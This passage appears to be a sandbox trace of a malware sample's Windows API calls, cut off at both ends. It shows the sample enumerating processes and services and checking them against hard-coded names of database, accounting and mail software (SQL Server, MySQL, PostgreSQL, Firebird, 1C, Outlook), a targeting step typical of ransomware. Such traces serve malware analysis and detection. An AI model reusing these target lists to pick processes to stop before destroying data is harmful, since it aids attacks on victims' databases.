returned 1 [0262.816] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0262.816] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0262.816] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0262.818] lstrlenW (lpString="wininit.exe") returned 11 [0262.818] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0262.818] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0262.818] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0262.818] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0262.818] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0262.818] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0262.818] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0262.818] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0262.819] lstrlenW (lpString="csrss.exe") returned 9 [0262.819] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0262.819] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0262.819] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0262.819] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0262.819] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0262.820] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0262.820] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0262.820] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0262.821] lstrlenW (lpString="winlogon.exe") returned 12 [0262.821] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0262.821] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0262.821] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0262.821] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0262.821] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0262.822] lstrlenW (lpString="services.exe") returned 12 [0262.823] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0262.824] lstrlenW (lpString="lsass.exe") returned 9 [0262.824] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0262.825] lstrlenW (lpString="lsm.exe") returned 7 [0262.825] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.826] lstrlenW (lpString="svchost.exe") returned 11 [0262.826] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.827] lstrlenW (lpString="svchost.exe") returned 11 [0262.827] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.829] lstrlenW (lpString="svchost.exe") returned 11 [0262.829] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.830] lstrlenW (lpString="svchost.exe") returned 11 [0262.830] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.831] lstrlenW (lpString="svchost.exe") returned 11 [0262.831] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0262.832] lstrlenW (lpString="audiodg.exe") returned 11 [0262.832] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.833] lstrlenW (lpString="svchost.exe") returned 11 [0262.833] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0262.834] lstrlenW (lpString="explorer.exe") returned 12 [0262.835] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0262.836] lstrlenW (lpString="dwm.exe") returned 7 [0262.836] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.837] lstrlenW (lpString="svchost.exe") returned 11 [0262.837] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0262.908] lstrlenW (lpString="winhost.exe") returned 11 [0262.909] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0262.910] lstrlenW (lpString="spoolsv.exe") returned 11 [0262.910] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.911] lstrlenW (lpString="svchost.exe") returned 11 [0262.911] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0262.912] lstrlenW (lpString="taskhost.exe") returned 12 [0262.912] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0262.913] lstrlenW (lpString="reader_sl.exe") returned 13 [0262.913] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0262.914] lstrlenW (lpString="taskhost.exe") returned 12 [0262.914] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0262.915] lstrlenW (lpString="dllhost.exe") returned 11 [0262.915] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0263.011] CloseHandle (hObject=0x3b0) returned 1 [0263.011] Sleep (dwMilliseconds=0x1f4) [0263.674] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x62e298 [0263.675] EnumServicesStatusExW (in: hSCManager=0x62e298, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0263.676] GetLastError () returned 0xea [0263.676] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x113e) returned 0x42e5000 [0263.676] EnumServicesStatusExW (in: hSCManager=0x62e298, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42e5000, cbBufSize=0x113e, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42e5000, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0263.678] CloseServiceHandle (hSCObject=0x62e298) returned 1 [0263.678] lstrlenW (lpString="Appinfo") returned 7 [0263.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0263.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0263.679] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0263.679] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0263.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0263.679] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0263.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0263.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0263.679] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0263.679] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0263.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0263.679] lstrlenW (lpString="AudioSrv") returned 8 [0263.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0263.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0263.679] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0263.680] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0263.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0263.680] lstrlenW (lpString="BFE") returned 3 [0263.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0263.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0263.680] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0263.680] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0263.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0263.680] lstrlenW (lpString="CryptSvc") returned 8 [0263.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0263.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0263.680] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0263.680] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0263.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0263.681] lstrlenW (lpString="CscService") returned 10 [0263.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0263.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0263.681] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0263.681] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0263.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0263.681] lstrlenW (lpString="DcomLaunch") returned 10 [0263.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0263.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0263.681] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0263.681] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0263.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0263.682] lstrlenW (lpString="Dhcp") returned 4 [0263.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0263.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0263.682] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0263.682] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0263.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0263.682] lstrlenW (lpString="Dnscache") returned 8 [0263.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0263.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0263.682] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0263.682] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0263.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0263.682] lstrlenW (lpString="DPS") returned 3 [0263.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0263.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0263.683] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0263.683] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0263.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0263.683] lstrlenW (lpString="eventlog") returned 8 [0263.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0263.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0263.683] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0263.683] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0263.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0263.683] lstrlenW (lpString="EventSystem") returned 11 [0263.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0263.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0263.683] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0263.684] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0263.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0263.684] lstrlenW (lpString="gpsvc") returned 5 [0263.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0263.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0263.684] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0263.684] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0263.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0263.684] lstrlenW (lpString="iphlpsvc") returned 8 [0263.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0263.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0263.685] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0263.685] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0263.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0263.685] lstrlenW (lpString="LanmanServer") returned 12 [0263.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0263.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0263.687] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0263.687] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0263.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0263.687] lstrlenW (lpString="LanmanWorkstation") returned 17 [0263.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0263.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0263.687] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0263.687] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0263.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0263.687] lstrlenW (lpString="lmhosts") returned 7 [0263.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0263.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0263.688] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0263.688] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0263.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0263.688] lstrlenW (lpString="MMCSS") returned 5 [0263.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0263.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0263.688] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0263.688] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0263.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0263.688] lstrlenW (lpString="MpsSvc") returned 6 [0263.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0263.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0263.689] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0263.689] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0263.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0263.689] lstrlenW (lpString="Netman") returned 6 [0263.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0263.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0263.689] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0263.689] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0263.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0263.689] lstrlenW (lpString="netprofm") returned 8 [0263.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0263.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0263.690] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0263.690] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0263.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0263.690] lstrlenW (lpString="NlaSvc") returned 6 [0263.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0263.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0263.690] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0263.690] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0263.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0263.690] lstrlenW (lpString="nsi") returned 3 [0263.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0263.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0263.691] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0263.691] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0263.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0263.691] lstrlenW (lpString="PcaSvc") returned 6 [0263.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0263.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0263.691] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0263.691] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0263.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0263.691] lstrlenW (lpString="PlugPlay") returned 8 [0263.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0263.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0263.692] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0263.692] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0263.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0263.692] lstrlenW (lpString="Power") returned 5 [0263.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0263.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0263.692] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0263.692] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0263.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0263.692] lstrlenW (lpString="ProfSvc") returned 7 [0263.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0263.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0263.693] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0263.693] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0263.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0263.693] lstrlenW (lpString="RpcEptMapper") returned 12 [0263.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0263.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0263.693] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0263.693] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0263.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0263.693] lstrlenW (lpString="RpcSs") returned 5 [0263.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0263.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0263.694] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0263.694] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0263.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0263.694] lstrlenW (lpString="SamSs") returned 5 [0263.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0263.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0263.694] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0263.694] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0263.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0263.694] lstrlenW (lpString="Schedule") returned 8 [0263.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0263.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0263.694] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0263.695] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0263.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0263.695] lstrlenW (lpString="SENS") returned 4 [0263.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0263.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0263.695] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0263.695] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0263.695] lstrcmpiW 